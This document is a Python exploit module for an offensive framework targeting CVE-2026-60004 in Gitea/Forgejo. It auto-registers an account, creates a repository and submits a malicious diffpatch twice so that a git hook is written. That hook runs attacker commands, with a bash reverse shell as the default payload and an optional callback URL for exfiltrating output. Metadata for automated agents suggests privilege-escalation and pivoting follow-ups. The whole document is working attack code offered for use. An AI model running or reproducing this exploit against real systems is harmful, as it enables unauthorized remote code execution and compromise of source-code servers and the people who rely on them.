Gitea/Forgejo Diffpatch Hook RCE (CVE-2026-60004)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-60004 — Gitea/Forgejo diffpatch git hook RCE."""

from __future__ import annotations

import time
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.gitea_probe import (
    DEFAULT_HOOK_SLEEP,
    GITEA_PATCHED_VERSION,
    Gitea,
)
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Gitea):
    __info__ = {
        "name": "Gitea/Forgejo Diffpatch Hook RCE (CVE-2026-60004)",
        "description": (
            "Exploits CVE-2026-60004 in Gitea/Forgejo (< 1.27.1): register (or use supplied "
            "credentials), create a repository, submit the same malicious diffpatch twice to "
            "trigger an add/add conflict that writes hooks/post-index-change, then execute "
            "a command via the auto-fired git hook."
        ),
        "author": ["Shai Rod (NightRang3r)", "KittySploit Team"],
        "cve": ["CVE-2026-60004"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-60004",
            "https://www.cve.org/CVERecord?id=CVE-2026-60004",
        ],
        "platform": Platform.LINUX,
        "arch": [Arch.X86, Arch.X64],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "gitea",
            "forgejo",
            "git",
            "devops",
            "diffpatch",
            "hook",
            "rce",
            "unauthenticated",
            "cve-2026-60004",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 10,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 2.0,
            "noise": 0.7,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["gitea", "forgejo", "git", "devops"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {"gitea": 0.3},
                "endpoint_pattern_any": ["/api/v1/version", "/user/sign_up"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(3000, "Gitea/Forgejo HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    base_path = OptString("", "Base URI if Gitea is not at site root", False)
    username = OptString("", "Existing username (skip registration if set with password)", False)
    password = OptString("", "Password for existing account", False)
    branch = OptString("main", "Branch targeted by diffpatch", False)
    callback_url = OptString("", "Optional HTTP callback for hook output exfiltration", False)
    hook_sleep = OptInteger(DEFAULT_HOOK_SLEEP, "Hook sleep seconds (timing-based detection)", False)
    cleanup = OptBool(True, "Delete created repository after exploitation", False)
    forced = OptBool(False, "Attempt exploit even if version appears patched", False, advanced=True)
    verify_cmd = OptString("id", "Command executed in hook when no payload is set", False)

    def _payload_command(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        command = str(payload or "").strip()
        if command:
            return command
        return str(self.verify_cmd or "id").strip() or "id"

    def _request_timeout(self) -> int:
        return max(int(self.timeout or 15), 10)

    def _credentials(self) -> Tuple[Optional[str], Optional[str], bool]:
        user = str(self.username or "").strip()
        passwd = str(self.password or "").strip()
        if user and passwd:
            return user, passwd, False
        return None, None, True

    def check(self):
        probe = self.probe_gitea()
        if not probe.get("found"):
            return {
                "vulnerable": False,
                "reason": "Gitea/Forgejo not detected",
                "confidence": "medium",
            }

        forge = str(probe.get("forge") or "gitea")
        version = str(probe.get("version") or probe.get("version_raw") or "")
        vuln = self.gitea_version_vulnerable(version, forge=forge)
        if vuln is False and not bool(self.forced):
            return {
                "vulnerable": False,
                "reason": f"{forge.title()} {version} >= {GITEA_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        user, passwd, must_register = self._credentials()
        if must_register and not self.gitea_registration_open():
            return {
                "vulnerable": False,
                "reason": "Registration disabled and no username/password supplied",
                "confidence": "medium",
            }

        confidence = "high" if vuln is True else "medium"
        reason = (
            f"{forge.title()} {version or 'unknown'} diffpatch surface present; "
            f"{'open registration' if must_register else 'credentials supplied'}"
        )
        return {"vulnerable": True, "reason": reason, "confidence": confidence}

    def _double_patch(
        self,
        username: str,
        password: str,
        repo: str,
        patch: str,
        branch: str,
    ) -> Tuple[bool, float, float]:
        sha = self.gitea_get_head_sha(username, password, repo, branch=branch)
        if not sha:
            return False, 0.0, 0.0

        start_one = time.monotonic()
        first = self.gitea_apply_diffpatch(
            username,
            password,
            repo,
            patch,
            sha,
            branch,
            "ks-p1",
            timeout=self._request_timeout(),
        )
        apply_one = time.monotonic() - start_one
        if not first or int(first.status_code or 0) not in (200, 201):
            return False, apply_one, 0.0

        time.sleep(0.3)
        sha_two = self.gitea_get_head_sha(username, password, repo, branch=branch)
        if not sha_two:
            return False, apply_one, 0.0

        start_two = time.monotonic()
        try:
            second = self.gitea_apply_diffpatch(
                username,
                password,
                repo,
                patch,
                sha_two,
                branch,
                "ks-p2",
                timeout=self._request_timeout() + 10,
            )
            apply_two = time.monotonic() - start_two
        except Exception:
            apply_two = time.monotonic() - start_two
            hook_sleep = max(int(self.hook_sleep or DEFAULT_HOOK_SLEEP), 1)
            if apply_two - apply_one >= hook_sleep * 0.7:
                return True, apply_one, apply_two
            return False, apply_one, apply_two

        if second and int(second.status_code or 0) not in (200, 201):
            return False, apply_one, apply_two

        hook_sleep = max(int(self.hook_sleep or DEFAULT_HOOK_SLEEP), 1)
        executed = (apply_two - apply_one) >= hook_sleep * 0.7
        return executed, apply_one, apply_two

    def run(self):
        try:
            print_status("CVE-2026-60004 — Gitea/Forgejo diffpatch hook RCE")
            print_status(f"Target: {self.target}:{self.port}")

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            username, password, must_register = self._credentials()
            created_repo = ""

            if must_register:
                if not self.gitea_registration_open():
                    print_error("Registration disabled — set username and password")
                    return False
                username = f"ks_{self.gitea_random_id(length=6)}"
                password = self.gitea_random_password()
                print_status(f"Registering ephemeral account {username}")
                if not self.gitea_register(username, password):
                    print_error("Registration failed")
                    return False
                if not self.gitea_login(username, password):
                    print_warning("Registration succeeded but login confirmation failed; continuing with basic auth")
            else:
                print_status(f"Using supplied account {username}")
                if not self.gitea_login(username, password):
                    print_warning("Login probe failed; continuing with basic auth")

            branch = str(self.branch or "main").strip() or "main"
            created_repo = f"ks_{self.gitea_random_id(length=6)}"
            print_status(f"Creating repository {username}/{created_repo}")
            if not self.gitea_create_repo(username, password, created_repo, branch=branch):
                print_error("Repository creation failed")
                return False

            command = self._payload_command()
            callback = str(self.callback_url or "").strip()
            hook_sleep = max(int(self.hook_sleep or DEFAULT_HOOK_SLEEP), 1)
            _, patch = self.gitea_build_hook_patch(
                command=command,
                callback=callback,
                hook_sleep=hook_sleep,
            )

            print_status("Applying malicious diffpatch twice (add/add conflict)")
            executed, apply_one, apply_two = self._double_patch(
                username,
                password,
                created_repo,
                patch,
                branch,
            )

            if executed:
                delta = apply_two - apply_one
                print_success(
                    f"Hook execution likely (timing delta {delta:.1f}s, sleep {hook_sleep}s)"
                )
                if callback:
                    print_info(f"Check callback listener at {callback}")
                self.vulnerable()
                success = True
            else:
                print_error(
                    "Hook timing threshold not met — target may be patched, git < 2.32, or blocked"
                )
                success = False

            if bool(self.cleanup) and created_repo:
                print_status(f"Cleaning up repository {username}/{created_repo}")
                self.gitea_delete_repo(username, password, created_repo)

            return success

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False